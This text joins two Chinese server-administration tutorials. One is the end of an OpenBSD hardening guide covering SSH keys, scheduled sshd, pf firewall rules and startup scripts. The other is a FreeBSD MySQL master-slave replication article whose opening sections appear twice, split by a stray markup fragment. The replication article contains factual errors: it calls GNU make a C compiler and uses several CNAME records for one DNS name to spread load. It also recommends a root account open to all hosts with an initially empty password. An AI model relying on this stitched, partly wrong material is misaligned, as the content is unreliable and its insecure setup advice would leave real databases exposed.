输入在生成KEY时输入的“保护码”，私钥就被导入到Pageant中了。再右键单击任务栏通知区的Pageant图标，选择第一项“New session”，Pageant会自动启动PuTTY，等待输入远程主机的相关信息，如下图：

输入IP（或域名）和端口号，点击最下面的“Open”按钮，PuTTY就会登录远程主机了。和PSFTP类似，会弹出个对话框让你确认远程主机的RSA指纹，如下图。同理，指纹不同就表示连接被劫持或指纹被伪造，点“取消”断开连接；指纹相同就点“否”，不保存主机公钥到本地计算机。

随后会让你输入用户名，输入“young_king”，看看，自动就登录上去了！

前面更改SSH配置的时候，已经禁用了root远程登录和使用密码登录，只能使用KEY才能登录进系统。想要维护系统的时候，就用这个KEY登录，再su成root。而且，需要上传/下载文件的时候，就用PSFTP，所有的操作都在SSH连接下进行，还有KEY的保护，安全性不知道提升了多少倍！黑客想要破解真是难于上青天！
Ⅲ、按需启动SSH

我们只在必要的时候启动sshd服务，用完即停止，不给黑客扫描的机会。输入下面的命令：

[Copy to clipboard] [ - ]CODE:
crontab -e

跳到最后，输入下面的内容（中间的空白部分为Tab）：

QUOTE:
# 每天的10:30启动sshd服务
30 10 * * * /usr/sbin/sshd

# 10:35即停止sshd服务，也就是说，你只有五分钟的时间可以登录进系统
35 10 * * * kill `cat /var/run/sshd.pid`

保存退出。

上面的时间请酌情修改。sshd服务启动的时间尽量不要太长，5~10分钟应该够了！

Ⅳ、一点安全小常识
私钥请一定保存在安全的地方，不要保存在本地计算机上，并加上足够强度的“保护码”；

本地计算机不要保存远程主机的“指纹”，用一次确认一次（远程主机的指纹保存在注册表的HKEY_CURRENT_USER\Software\SimonTatham\PuTTY项下，可以手动删除）；

不要使用DSA密钥，据说有漏洞的；

不要在公用计算机上连接远程主机，有键盘记录器、木马什么的就麻烦了；

多个远程主机不要使用相同的公钥，最好是使用各自的公钥、私钥；

少用，最好是不用无线网络，加密强度太差，容易被破解；

M$系统下的病毒、木马太多了，推荐客户端转换到Linux/UNIX环境，安全性更高，而且仍然有PuTTY及工具可用；

注意清除本地机器上不必要保留的文件（例如私钥、公钥、主机RSA指纹、C:\Documents and Settings\Administrator目录下的文件等等）。

八、启用Packet Filter防火墙

Packet Filter是非常优秀的包过滤防火墙，OpenBSD核心已经集成了Packet Filter防火墙，不过默认并没有启用，下面我们来启用Packet Filter的强大功能！

[Copy to clipboard] [ - ]CODE:
vi /etc/pf.conf

跳到最后，加入下面的内容：

QUOTE:
# 宏定义
# 请把下面的fxp0换成你自己用的外网网卡，不知道的可以输入ifconfig查看
ext_if=”fxp0″

# 指定可以使用SSH登录的IP，支持CIDR
admin_add=”192.168.0.0/24″

# 指定SSH端口。
# 注意，如果在/etc/ssh/sshd_config文件中更改了SSH端口号，这里的也需要同样修改。否则连不上了不要怪偶没有提醒！
ssh_port=”58937″

# 维持一个持久的表，里面存放的是对本机发动DDoS攻击的IP
table persist

# 选项设定
set require-order yes
set block-policy drop
set optimization aggressive
set loginterface none
set skip on lo0

# TCP参数设定
set timeout {interval 3,frag 10}
set timeout {tcp.first 10,tcp.opening 2,tcp.established 600,tcp.closing 20,tcp.finwait 10,tcp.closed 10}

# UDP、ICMP及其它参数设定
set timeout {udp.first 20,udp.single 10,udp.multiple 10}
set timeout {icmp.first 10,icmp.error 5}
set timeout {other.first 20,other.single 10,other.multiple 20}
set timeout {adaptive.start 0,adaptive.end 0}

# 允许最多有65536个连接
set limit { states 65535, frags 200, src-nodes 65536, tables 65536, table-entries 1048576 }

# 包整形
scrub in all
scrub out all

# 阻止所有不匹配的包和从DDoS主机来的包
block quick from
block return
block in all
block out all

# 防止IP欺骗
antispoof quick for {lo0,$ext_if}

# 允许本机访问其他机器
pass out quick on $ext_if inet from $ext_if to any flags S/SA keep state

# 允许IPv4地址的客户机访问本地80（www）端口，发起过快连接（DDoS）的主机加入阻止列表。注意是一行，下同
pass in quick on $ext_if inet proto tcp from any to $ext_if port 80 flags S/SA synproxy state (source-track rule,max-src-nodes 200,max-src-states 100,max-src-conn 100,max-src-conn-rate 1000/10,overload flush global )

# 允许IPv6地址的客户机访问本地80（www）端口，发起过快连接（DDoS）的主机加入阻止列表
pass in quick on $ext_if inet6 proto tcp from any to $ext_if port 80 flags S/SA synproxy state (source-track rule,max-src-nodes 200,max-src-states 100,max-src-conn 100,max-src-conn-rate 1000/10,overload flush global )

# 允许管理IP远程连接本机SSH端口
pass in quick on $ext_if inet proto tcp from $admin_add to $ext_if port $ssh_port flags S/SA synproxy state

保存退出。

修改系统配置，使得开机启用PF防火墙：

[Copy to clipboard] [ - ]CODE:
vi /etc/rc.conf.local

跳到最后，加入下面这行：

QUOTE:
pf=YES

保存退出。

九、系统启动脚本的修改

修改系统启动脚本，使得MySQL、PHP(fastcgi)、Nginx可以在系统启动的时候自动启动，免去手动启动的麻烦。

[Copy to clipboard] [ - ]CODE:
vi /etc/rc.local

跳到最后，加入下面的内容：

QUOTE:
# 启动时校时。这行也可以加在/etc/daily.local文件的最前面，每天零点自动校时
rdate -n 210.72.145.44
# Start MySQL
if [ -x /usr/local/bin/mysqld_safe ] ; then
echo -n ‘Starting MySQL…’
su -c mysql root -c ‘/usr/local/bin/mysqld_safe >/dev/null 2>&1 &’
echo “DONE”
fi
# Start php-fastcgi
if [ -x /usr/local/bin/spawn-fcgi ] ; then
echo -n ‘Starting php-fastcgi…’
/usr/local/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -C 6 -u www -f /usr/local/bin/php-fastcgi > /var/run/fcgi.pid
echo “DONE”
fi
# Start nginx
if [ -x /usr/local/sbin/nginx ] ; then
echo -n ‘Starting nginx…’
/usr/local/sbin/nginx
echo “DONE”
fi

保存退出。

reboot重启，启动后输入top看看，O.N.M.P.环境已经搭建好！

系统启动后，还要把MySQL自带的测试数据库和匿名用户删除，防止被黑客利用。

默认情况下，新安装的MySQL数据库，root密码为空！同样需要第一时间进行设置，方法见下图：

好了，至此，O.N.M.P.环境的搭建已经结束，剩下的就看各位自行发挥了！

写在最后

其实，系统的安全是个整体工程，并不是用上了OpenBSD这个最安全的操作系统就算万事OK，还有很多事情要做。

更多的是需要在日常工作中积累经验，多分析系统整体的运行情况，多关注网络安全方面的内容，这样才能尽可能的打造安全的运维环境。

本手册只是起到抛砖引玉的作用，希望能吸引更多的人来关注系统安全，希望有更多的人能用上OpenBSD这个主动安全的操作系统，希望能推动OpenBSD在国内的更多普及。如此，则幸甚！

　1. 引言

　　MySQL是一个高速度、高性能、多线程、开放源代码，建立在客户/服务器(Client /Server)结构上的关系型数据库管理系统(RDBMS)。它始于1979年，最初是Michael Widenius为瑞典TcX公司创建的UNIREG数据库系统，当时的UNIREG没有SQL(Structured Query Language结构化查询语言)接口，限制了它的应用。1996年5月，Widenius开发出了MySQL的最初版本，开始在Internet上公开发行。MySQL的开发人员从一开始就一直关注它的性能，为此不惜特性集，直到今天，MySQL依然保持本色，以高速度高性能为首要原则。随着时间的推移，MySQL也加入了大型数据库产品的高级特性，如存储过程、视图、触发器等，使其在企业级数据库系统中开始被部署应用[1]。2008年10 月，SUN公司收购了MySQL AB公司，开始进入开源领域。随着重量级操作系统Solaris的开源，SUN MySQL在数据库市场占有的份额将会进一步提高。因此，在生产环境中部署具有负载均衡功能的MySQL服务器集群，对于提高企业数据库应用系统的速度、稳定性及可伸缩性具有很大的现实意义，也可以有效降低应用系统的投资成本。本文将以FreeBSD 7.0-Release操作系统为例，利用MySQL数据库的复制(Replication)特性，简要介绍部署MySQL服务器集群的实现方法和相关注意事项。

　　2. 系统模型

　　本集群的结构为一个主MySQL服务器(Master)服务器与多个从属 MySQL服务器(Slave)建立复制(replication)连接，主服务器与从属服务器实现一定程度上的数据同步，多个从属服务器存储相同的数据副本，实现数据冗余，提供容错功能。部署开发应用系统时，对数据库操作代码进行优化，将写操作(如UPDATE、INSERT)定向到主服务器，把大量的查询操作(SELECT)定向到从属服务器，实现集群的负载均衡功能。如果主服务器发生故障，从属服务器将转换角色成为主服务器，使应用系统为终端用户提供不间断的网络服务;主服务器恢复运行后，将其转换为从属服务器，存储数据库副本，继续对终端用户提供数据查询检索服务。

　　3. 部署实现

　　本文以一台主服务器带三台从属服务器为例，简要介绍MySQL服务器集群的实现方案和具体方法步骤。

　　3.1 系统部署

　　由于FreeBSD系统对机器硬件要求较低，出于降低系统部署成本考虑，主服务器和从属服务器操作系统均采用FreeBSD 7.0-Release，并采用最小化定制安装，完成以后系统占用磁盘空间仅为254M(不计swap分区所占空间，它随具体机器内存容量的变化而变化)。为充分发挥系统硬件性能，MySQL数据库采用源代码编译安装。

　　3.1.1 安装FreeBSD系统

　　在主服务器和从属服务器上安装FreeBSD 7.0-Release，具体安装方法步骤不是本文主要内容，在此略过，如有疑问可以参考FreeBSD系统手册。需要说明的是为方便用户系统运行期间的维护管理，要打开系统的SSH服务功能，系统安装配置期间允许root用户远程登录，正常运行以后要关闭root用户的远程登录功能。在/etc/ssh /sshd_config配置文件中对PermitRootLogin设置为yes为允许root用户远程登录到系统，设置为no即为不允许。修改保存文件后执行kill –HUP `cat /var/run/sshd.pid`命令即可重启sshd守护进程，使设置生效[2]。上述操作需要root用户权限。 　3.1.2 编译安装MySQL

　　到MySQL的官方网站http://www.mysql.com下载MySQL数据库的安装源代码压缩包，本例下载的是mysql-5.1.30.tar.gz，以root用户身份登录到系统，开始安装MySQL数据库系统。

　　由于在对MySQL进行源代码编译安装时要求使用GNU的C编译器，而FreeBSD系统本身提供的不是该编译器，因此用户必须下载安装GNU C编译器[3]。把下载的gnumake-3.81.tar.gz解压安装，按如下步骤即可安装GNU C编译器：

　　[root@FreebsdMaster/softwares]# tar –zxvf gnumake-3.81.tar.gz

　　[root@FreebsdMaster /softwares]# cd make-3.81

　　[root@FreebsdMaster /softwares/make-3.81]# ./configure ; make; make install; make clean

　　GNU C编译器默认安装到/usr/local/bin，在安装MySQL时按绝对路径调用make命令即可，如# /usr/local/bin/make。

　　MySQL的编译安装比较复杂，具体操作及相关注意事项如下：

　　(1). 解压mysql-5.1.30.tar.gz，并进行配置

　　[root@FreebsdMaster /softwares]# tar –zxvf mysql-5.1.30.tar.gz

　　[root@FreebsdMaster /softwares]# cd mysql-5.1.30

　　[root@FreebsdMaster /softwares/mysql-5.1.30]# ./configure \

　　-–prefix=/app/mysql5 -–with-charset=gb2312

　　说明：MySQL默认的安装目录是/usr/local/mysql，为了增强系统部署的灵活性，紧贴用户应用系统实际情况，可以用—-prefix参数定制安装目录。–with-charset参数是使MySQL数据库支持中文gb2312字符集，如果需要支持其它字符集，使用–with- extra-charset参数，格式为—-with-extra-charset=CHARSET1,CHARSET2, [...]]]> MySQL是一个高速度、高性能、多线程的关系型数据库管理系统，适用平台多，可扩展性强。在实际生产环境中，部署和实现具有一定负载均衡功能的MySQL服务器集群，对于提高用户数据库应用系统的性能、速度和稳定性具有明显的作用。本文简要介绍了在 FreeBSD 7.0-Release系统上部署实现MySQL服务器集群的方案，并对可能出现的问题提供了相应的解决方法。

　1. 引言

　　MySQL是一个高速度、高性能、多线程、开放源代码，建立在客户/服务器(Client /Server)结构上的关系型数据库管理系统(RDBMS)。它始于1979年，最初是Michael Widenius为瑞典TcX公司创建的UNIREG数据库系统，当时的UNIREG没有SQL(Structured Query Language结构化查询语言)接口，限制了它的应用。1996年5月，Widenius开发出了MySQL的最初版本，开始在Internet上公开发行。MySQL的开发人员从一开始就一直关注它的性能，为此不惜特性集，直到今天，MySQL依然保持本色，以高速度高性能为首要原则。随着时间的推移，MySQL也加入了大型数据库产品的高级特性，如存储过程、视图、触发器等，使其在企业级数据库系统中开始被部署应用[1]。2008年10 月，SUN公司收购了MySQL AB公司，开始进入开源领域。随着重量级操作系统Solaris的开源，SUN MySQL在数据库市场占有的份额将会进一步提高。因此，在生产环境中部署具有负载均衡功能的MySQL服务器集群，对于提高企业数据库应用系统的速度、稳定性及可伸缩性具有很大的现实意义，也可以有效降低应用系统的投资成本。本文将以FreeBSD 7.0-Release操作系统为例，利用MySQL数据库的复制(Replication)特性，简要介绍部署MySQL服务器集群的实现方法和相关注意事项。

　　2. 系统模型

　　本集群的结构为一个主MySQL服务器(Master)服务器与多个从属 MySQL服务器(Slave)建立复制(replication)连接，主服务器与从属服务器实现一定程度上的数据同步，多个从属服务器存储相同的数据副本，实现数据冗余，提供容错功能。部署开发应用系统时，对数据库操作代码进行优化，将写操作(如UPDATE、INSERT)定向到主服务器，把大量的查询操作(SELECT)定向到从属服务器，实现集群的负载均衡功能。如果主服务器发生故障，从属服务器将转换角色成为主服务器，使应用系统为终端用户提供不间断的网络服务;主服务器恢复运行后，将其转换为从属服务器，存储数据库副本，继续对终端用户提供数据查询检索服务。

　　3. 部署实现

　　本文以一台主服务器带三台从属服务器为例，简要介绍MySQL服务器集群的实现方案和具体方法步骤。

　　3.1 系统部署

　　由于FreeBSD系统对机器硬件要求较低，出于降低系统部署成本考虑，主服务器和从属服务器操作系统均采用FreeBSD 7.0-Release，并采用最小化定制安装，完成以后系统占用磁盘空间仅为254M(不计swap分区所占空间，它随具体机器内存容量的变化而变化)。为充分发挥系统硬件性能，MySQL数据库采用源代码编译安装。

　　3.1.1 安装FreeBSD系统

　　在主服务器和从属服务器上安装FreeBSD 7.0-Release，具体安装方法步骤不是本文主要内容，在此略过，如有疑问可以参考FreeBSD系统手册。需要说明的是为方便用户系统运行期间的维护管理，要打开系统的SSH服务功能，系统安装配置期间允许root用户远程登录，正常运行以后要关闭root用户的远程登录功能。在/etc/ssh /sshd_config配置文件中对PermitRootLogin设置为yes为允许root用户远程登录到系统，设置为no即为不允许。修改保存文件后执行kill –HUP `cat /var/run/sshd.pid`命令即可重启sshd守护进程，使设置生效[2]。上述操作需要root用户权限。

　3.1.2 编译安装MySQL

　　到MySQL的官方网站http://www.mysql.com下载MySQL数据库的安装源代码压缩包，本例下载的是mysql-5.1.30.tar.gz，以root用户身份登录到系统，开始安装MySQL数据库系统。

　　由于在对MySQL进行源代码编译安装时要求使用GNU的C编译器，而FreeBSD系统本身提供的不是该编译器，因此用户必须下载安装GNU C编译器[3]。把下载的gnumake-3.81.tar.gz解压安装，按如下步骤即可安装GNU C编译器：

　　[root@FreebsdMaster/softwares]# tar –zxvf gnumake-3.81.tar.gz

　　[root@FreebsdMaster /softwares]# cd make-3.81

　　[root@FreebsdMaster /softwares/make-3.81]# ./configure ; make; make install; make clean

　　GNU C编译器默认安装到/usr/local/bin，在安装MySQL时按绝对路径调用make命令即可，如# /usr/local/bin/make。

　　MySQL的编译安装比较复杂，具体操作及相关注意事项如下：

　　(1). 解压mysql-5.1.30.tar.gz，并进行配置

　　[root@FreebsdMaster /softwares]# tar –zxvf mysql-5.1.30.tar.gz

　　[root@FreebsdMaster /softwares]# cd mysql-5.1.30

　　[root@FreebsdMaster /softwares/mysql-5.1.30]# ./configure \

　　-–prefix=/app/mysql5 -–with-charset=gb2312

　　说明：MySQL默认的安装目录是/usr/local/mysql，为了增强系统部署的灵活性，紧贴用户应用系统实际情况，可以用—-prefix参数定制安装目录。–with-charset参数是使MySQL数据库支持中文gb2312字符集，如果需要支持其它字符集，使用–with- extra-charset参数，格式为—-with-extra-charset=CHARSET1,CHARSET2, … 。

　　(2). 编译安装MySQL

　　[root@FreebsdMaster /softwares/mysql-5.1.30]# /usr/local/bin/make

　　[root@FreebsdMaster /softwares/mysql-5.1.30]# /usr/local/bin/make install

　　[root@FreebsdMaster /softwares/ mysql-5.1.30]# /usr/local/bin/make clean

　　注意一定要按绝对路径调用GNU C编译器，否则编译过程报错退出。

　　(3). 为系统添加mysql用户组和用户

　　[root@FreebsdMaster /]# pw group add mysql

　　[root@FreebsdMaster /]# adduser

　　FreeBSD系统没有groupadd命令，其添加用户组的命令是pw，添加用户命令adduser按系统提示操作即可完成。当然用 pw user add mysql命令也可以完成添加用户mysql的功能，但不如adduser命令功能完善。

　　(4). 更改/app/mysql5目录及文件属性

　　[root@FreebsdMaster /app]# chmod –R mysql mysql5

　　[root@FreebsdMaster /app]# chgrp –R mysql mysql5

　　说明：/app/mysql5为MySQL数据库系统所在目录，如果用户部署的应用系统数据量极大，可以将数据库系统目录设在大容量磁盘阵列上。磁盘阵列设置与具体机器硬件相关性很大，具体操作设置参考具体硬件系统说明和FreeBSD操作手册。不借助第三方软件，FreeBSD 7.0-Release系统可以配置RAID0、RAID1磁盘阵列。

　　(5). 安装MySQL系统初始数据库

　　[root@FreebsdMaster /softwares/ mysql-5.1.30]# ./scripts/mysql_install_db.sh –basedir=/app/mysql5 –-data-dir=/app/mysql5/data

　　注意：必须考虑Unix系统的文件权限特性，首先给mysql_install_db.sh脚本添加可执行属性，否则安装脚本无法执行。执行chmod +x ./scripts/mysql_install_db.sh命令即可。参数–basedir=/app/mysql5和–datadir=/app /msyql5/data为必加参数，否则脚本运行报错退出，无法安装系统初始数据库mysql和测试数据库test，mysql数据库包含系统权限设置表，没有这些表数据库服务进程mysqld将无法启动。

　　(6). 再次更改/app/mysql5目录及其文件属性

　　[root@FreebsdMaster /app]# chmod –R root mysql5

　　[root@FreebsdMaster /app]# chmod –R mysql mysql5/data

　　这样做是为了保证系统安全，防止通过MySQL系统漏洞的入侵行为。MySQL以mysql用户身份运行，对/data目录具有完全访问权限，对其它目录则只有系统管理员根据需要设置的访问权限，确保FreeBSD系统的安全。这里需要特别提醒用户注意的是要确保mysqld文件(MySQL的守护进程，位于/app/mysql5/libexec目录下)没有设置setuid标志位，如果设置了该标志位，入侵者对其它文件就具有其不应有的权限。具体原因参考关于Unix系统安全的手册，本文对这个问题不再赘述。

　　(7). 启动MySQL服务器

　　上述操作全部完成以后，输入如下命令启动MySQL数据库服务守护进程：

　　[root@FreebsdMaster /]# /app/mysql5/bin/mysqld_safe –user=mysql &

　　–user参数表示以mysql用户身份运行MySQL数据库服务守护进程，“&”符号表示以后台方式运行。输入 netstat –an|grep 3306命令，如果看到下面的输出则表示MySQL5.1.30已在用户系统上编译安装成功。其中，3306是MySQL数据库系统默认的监听端口号。

　　[root@FreebsdMaster /]# netstat –an|grep 3306

　　tcp4 0 0 *.3306 *.* LISTEN

　　按照同样方法与步骤在其它三台机器上安装FreeBSD 7.0-Release与MySQL5.1.30，为下面的MySQL服务器集群配置准备好系统平台基础。

　3.2 系统配置

　　所有系统安装完毕之后，需要对它们做一些必要的配置方可按照用户预先设计的结构模型实现具有负载均衡功能的MySQL服务器集群。

　　3.2.1 FreeBSD操作系统配置

　　(1). 调整内核参数，优化操作系统性能

　　因为是处于生产环境的服务器，投入正常运行之前一定要对内核参数进行必要的调整，提升系统性能，加强稳定性。简要说就是去掉不必要的硬件支持选项，使新内核占用更少的内存，加快启动速度。不同机器硬件系统差异很大，用户可根据具体系统的硬件情况不断调整试验，最终定制出最优化、最安全的FreeBSD系统。一定要屏蔽掉组合键Ctrl+Alt+Del的热重启功能，防止用户误按Ctrl+Alt+Del重启系统，引起数据库系统服务意外中断。在内核配置文件如MYKERNEL中加入：

　　options SC_DISABLE_REBOOT

　　重新编译系统内核，重启后即可屏蔽Ctrl+Alt+Del组合键的热重启功能。如何定制新内核及重新编译FreeBSD系统，用于可参考FreeBSD系统手册，此不赘述。

　　(2). 进行其它设置，增强系统安全性

　　用户可根据以下一般安全准则设置自己的FreeBSD系统。

　　·选择一个好的密码并予以妥善保护。

　　·对于敏感文件采用适当安全等级的加密算法进行加密。对于敏感级别不是很高的文件采用系统自带的crypt工具加密;对于敏感度极高的文件则使用专用加密工具，如PGP、GPG进行不对称加密，提高加密文件的防攻击能力。

　　·仔细设置文件访问权限，达到保护文件目的。

　　·保护好自己的.profile文件。恰当设置.profile文件的访问权限，确保只有自己能访问。

　　·仔细维护已设置setuid或setgid标志位的任何程序。

　　·禁止不加防范地离开已注册终端。任何时候都必须按常规正常退出系统，先执行clear清屏命令，防止其它用户看到操作痕迹，再执行exit命令退出终端。

　　·防范特洛伊木马程序。正确设置PATH变量的检索顺序，确保系统目录位于当前目录的前面。

　　·防范病毒的入侵。

　　·监控最近一次注册时间，确保没有他人盗用自己的帐号。

　　特别提示：对于生产环境的服务器，一定要保证服务器的物理安全，安全措施再完善的系统，一旦被入侵者物理接触，所有的安全措施将形同虚设!

　　Unix系统安全是一个很大的课题，本文只是提及了一些最肤浅的常识，具体内容用户可以参考相关书籍或网上资源。为确保Unix系统的配置具有高度的安全性，可以使用Internet安全中心(Center for Internet Security，CIS)提供的安全测试工具Benchmarks或评估工具Scoring Tools，检验和监控系统配置的安全性 [4]。

　　3.2.2 MySQL数据库系统配置

　　为了能使上述系统实现一对多的主从复制(replication)和冗余机制，还需要对以上四个MySQL服务器进行一些必要的配置。

　　(1). 配置主机名和IP地址

　　本实现方案中把MySQL服务器Master主机名设为FreebsdMaster，IP地址配置为192.168.1.100，其它三台Slave依次设为 FreebsdSlave1，192.168.1.101;FreebsdSlave2，192.168.1.102;FreebsdSlave3，IP 地址192.168.1.103。

　　(2). 设置root用户密码

　　MySQL的root用户初始密码为空，为保证系统安全必须为root用户设置密码：

　　[root@FreebsdMaster /]# /app/mysql5/bin/mysql –uroot –p

　　Enter password:

　　mysql>SET PASSWORD=PASSWORD(‘secret’);

　　同Unix系统一样，输入密码时屏幕没有任何回显，进入系统后执行SET PASSWORD SQL语句设置或修改MySQL root用户密码。为使应用系统服务器远程连接到MySQL数据库服务器，除本地root用户以外，还要设置一个能从用户内部网络其它终端登录的root 用户。具体操作如下：

　　mysql>USE mysql;

　　mysql>UPDATE user SET Host=’%’ WHERE Host=’hostname.yourdomain’ AND User=’root’;

　　mysql>flush privileges;

　　完成上述操作后应用系统服务器就可以连接到MySQL数据库服务器进行各种操作了，这个远程root用户的初始密码为空，用户需要从远程终端登录，为其设置密码。

　　(3). 开启MySQL服务器的二进制更新日志功能

　　上述MySQL服务器安装完成后，安装程序没有生成my.cnf配置文件，为此用户需要手工添加/etc/my.cnf文件。MySQL服务是由 /app/myql5/libexec/mysqld提供的，其寻找my.cnf配置文件的默认顺序为/etc/my.cnf，~/.my.cnf， /usr/local/mysql/etc/my.cnf。启动ee编辑器，# ee /etc/my.cnf，在Master机器的配置文件写入如下内容：

　　[mysqld]

　　log-bin=mysql-master-bin

　　server-id=1

　　在其它三台Slave机器的配置文件/etc/my.cnf文件写入如下内容：

　　[mysqld]

　　server-id=int

　　其中，int为一大于1且互不相等的正整数，如2，3，4等。务必要正确设置每个机器上的/etc/my.cnf配置文件，尤其是server-id不能有重复，这是一对多数据库复制能否成功的关键[5]!

　　设定好上述/etc/my.cnf文件后启动Master上的MySQL数据库服务时就自动开启了二进制更新日志功能。在Slave上启动MySQL时要加上–log-bin参数，即可开启二进制更新日志功能。在Slave机器上启动MySQL服务的命令如下：

　　# /app/mysql5/bin/mysqld_safe –user=mysql –log-bin &

　　这样做的目的为了实现冗余容错功能。当主服务器Master出现故障停止服务时，在预转换角色成为Master的Slave上执行STOP SLAVE; RESET MASTER SQL语句，在其它两台Slave上执行CHANGE MASTER TO SQL语句，执行STOP SLAVE; RESET MASTER SQL语句的Slave服务器即转换成新的Master，其余两台机器则从新的Master复制数据库数据(复制的是更新UPDATE、INSERT等操作，并不是简单的copy)，从而实现冗余容错。

　3.3 系统实现

　　完成上述准备后可以开始实现MySQL数据库的一对多复制，对应用系统的数据库访问代码进行优化，使更新操作UPDATE、INSERT等SQL语句定向到Master服务器，查询检索SELECT语句定向到Slave服务器，从而实现负载均衡; 当主服务器Master出现故障停止服务时，通过服务器角色转换实现冗余容错;上述所有服务器通过高速核心交换机连接在一起，协同工作，提供集群 (Cluster)性能。下面，本文就此举一简例，具体说明实现(Implementation)步骤。

　　3.3.1 准备主服务器

　　(1). 在主服务器上创建示例数据库repl_db

　　从本地或远程终端登录到Master服务器，执行CREATE DATABASE repl_db;语句，创建示例数据库repl_db。建立表repl_table：

　　mysql>CREATE TABLE repl_table (f1 INT, f2 VARCHAR(20)) ;

　　向表中添加数据：

　　mysql>INSERT INTO repl_table (f1, f2) VALUES(1, ‘first’);

　　(2). 授予Slave复制(Replication)权限

　　授予从属服务器Slave进行复制的权限。假设从属服务器连接到主服务器复制的用户名为“repl”，密码为“g00r002b”：

　　mysql>GRANT REPLICATION SLAVE ON *.* TO repl@’%’ IDENTIFIED BY ‘g00r002b’;

　　刷新系统权限表，锁定写入语句操作：

　　mysql>FLUSH TABLES WITH READ LOCK;

　　这时所有写入操作都被锁定，包括支持事务(Transaction)特性的InnoDB类型表的提交(COMMIT)操作也被锁定，为数据库初始复制(copy)做好准备。

　　(3). 简单备份repl_db

　　在此，通过tar命令把数据库初始数据备份到/tmp目录。

　　# tar –cvf /tmp/mysql-data.tar /app/mysql5/data/repl_db

　　(4). 记录主服务器状态

　　执行SHOW MASTER STATUS 语句：

　　mysql> SHOW MASTER STATUS;

　　————————————-+——————+———————–+—————————+

　　| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |

　　+————————————+——————+———————–+————————–+

　　| mysql-master-bin.000001 | 1027 | | |

　　+————————————+——————+———————-+—————————+

　　记下File和Position两个参数的值，从属服务器Slave为了复制(replication)连接到主服务器Master时要用到这两个参数，如果参数与此不符将导致复制(replication)失败!

　　(5). 释放主服务器表级写入锁定

　　mysql>UNLOCK TABLES;

　　至此，主服务器解除写入锁定，一对多复制准备工作已全部完成，准备接受Slave的复制(replication)连接。

　　3.3.2 准备从属服务器

　　(1). 停止从属服务器的MySQL数据库服务

　　# /app/mysql5/bin/mysqladmin –uroot –p shutdown

　　Enter password:

　　输入MySQL系统root用户密码，MySQL服务停止。

　　(2). 简单copy数据库初始数据

　　在从属服务器上执行ftp操作，访问主服务器，下载/tmp/mysql-data.tar文件，在/app/mysql5/data目录下执行如下操作，把初始数据copy到Slave服务器：

　　[root@FreebsdSlave1 /app/mysql5/data]# tar –xvf /tmp/msyql-data.tar

　　其它两台Slave服务器执行同样操作，实现数据库初始数据的简单copy。

　　(3). 重启从属服务器上的MySQL数据库服务

　　# /app/mysql5/bin/mysqld_safe –-user=mysql –-log-bin &

　　从属服务器已启动，同时启动二进制更新日志功能，为角色转换做好准备。

　　(4). 登录到从属服务器Slave的MySQL客户端

　　# /app/mysql/bin/msyql –uroot -p

　　(5). 启动从属服务器上的复制(replication)线程

　　mysql> CHANGE MASTER TO

　　-> MASTER_HOST=’192.168.1.100′,

　　-> MASTER_USER=’repl’,

　　-> MASTER_PASSWORD=’g00r002b’,

　　-> MASTER_LOG_FILE=’ mysql-master-bin.000001′,

　　-> MASTER_LOG_POS=1027;

　　Query OK, 0 rows affected (0.00 sec)

　　mysql> START SLAVE;

　　Query OK, 0 rows affected (0.00 sec)

　　在所有从属服务器上执行相同的操作，自此从属服务器已连接到主服务器，开始真正意义上的replication工作。测试从属服务器的复制工作是否正常：

　　mysql>show slave status\G

　　************************** 1. row ***************************

　　Slave_IO_State: Waiting for master to send event

　　Master_Host: 192.168.1.100

　　Master_User: repl

　　Master_Port: 3306

　　Connect_Retry: 60

　　Master_Log_File: mysql-master-bin.000001

　　Read_Master_Log_Pos: 1027

　　Relay_Log_File: FreebsdSlave1-relay-bin.000005

　　Relay_Log_Pos: 251

　　Relay_Master_Log_File: mysql-master-bin.000001

　　Slave_IO_Running: Yes

　　Slave_SQL_Running: Yes

　　看到上述信息说明从属服务器已启动了与replication相关的线程I/O和SQL，一对多的replication已经开始工作。

　　(6). 功能测试

　　在主服务器上写入新的数据：

　　mysql>INSERT INTO repl_table (f1, f2) VALUES(2, ‘second’);

　　mysql>SELECT * FROM repl_table;

　　+——–+———+

　　| f1 | f2 |

　　+——–+———-+

　　| 1 | first |

　　| 2 | second |

　　+—–=–+———-+

　　2 rows in set (0.01 sec)

　　在Slave上执行相同的查询操作：

　　mysql>SELECT * FROM repl_table;

　　+——–+———+

　　| f1 | f2 |

　　+——–+———-+

　　| 1 | first |

　　| 2 | second |

　　+——–+———-+

　　2 rows in set (0.01 sec)

　　得到相同的查询结果，说明复制(replication)机制已成功开始工作!

　　3.3.3 配置网络DNS服务器

　　在BIND DNS服务器中，为上述三台从属服务器Slave配置同一个名字，客户端的查询检索操作将由DNS服务器定向到其中的一台Slave。因此，对于同一名字，不同的客户端会定向到不同的地址，访问不同的MySQL服务器，从而达到负载均衡的目的。假设用户为三台Slave分配的DNS名字为 mysqlslave.yourdomain，DNS服务器区域文件/var/named/yourdomain.zone中应包含如下数据项[6]：

　　sqlmaster.yourdomain. IN A 192.168.1.100

　　sqlslave1.yourdomain. IN A 192.168.1.101

　　sqlslave2.yourdomain. IN A 192.168.1.102

　　sqlslave3.yourdomain. IN A 192.168.1.103

　　sqlslave IN CNAME sqlslave1

　　sqlslave IN CNAME sqlslave2

　　sqlslave IN CNAME sqlslave3

　　当客户端进行查询操作时，提交给主机sqlslave.yourdomain的请求将由DNS服务器随机定向到三台Slave中的一台，由其执行查询作业，返回结果。从而在三台Slave之间实现查询级别的负载均衡。

　　3.3.4 应用系统程序代码优化

　　实际应用中，对数据库的写入操作相对查询操作少得多，因此，优化应用程序的数据库连接代码，把写入操作定向到Master服务器，查询操作定向到 Slave服务器，提供主服务器和从属服务器之间更新、查询的负载均衡功能。本文以PHP数据库连接代码为例，简要介绍代码优化方法[7]。

　　(1). 准备不同的数据库连接配置文件

　　准备两个数据库连接文件mysql_connect_master.php和mysql_connect_slave.php，其文件内容如下：

　　mysql_connect_master.php文件的内容：

　　// Connect to the Database Server

　　$linkID = @mysql_connect(“sqlmaster.yourdomain”, “user”, “password”) or die(“Sorry, could not connect to the database!”);

　　// Select the Database

　　@mysql_select_db(“repl_db”) or die(“Sorry, Could not select database!”);

　　?>

　　mysql_connect_slave.php文件的内容：

　　// Connect to the Database Server

　　$linkID = @mysql_connect(“sqlslave.yourdomain”, “user”, “password”) or die(“Sorry, could not connect to the database!”);

　　// Select the Database

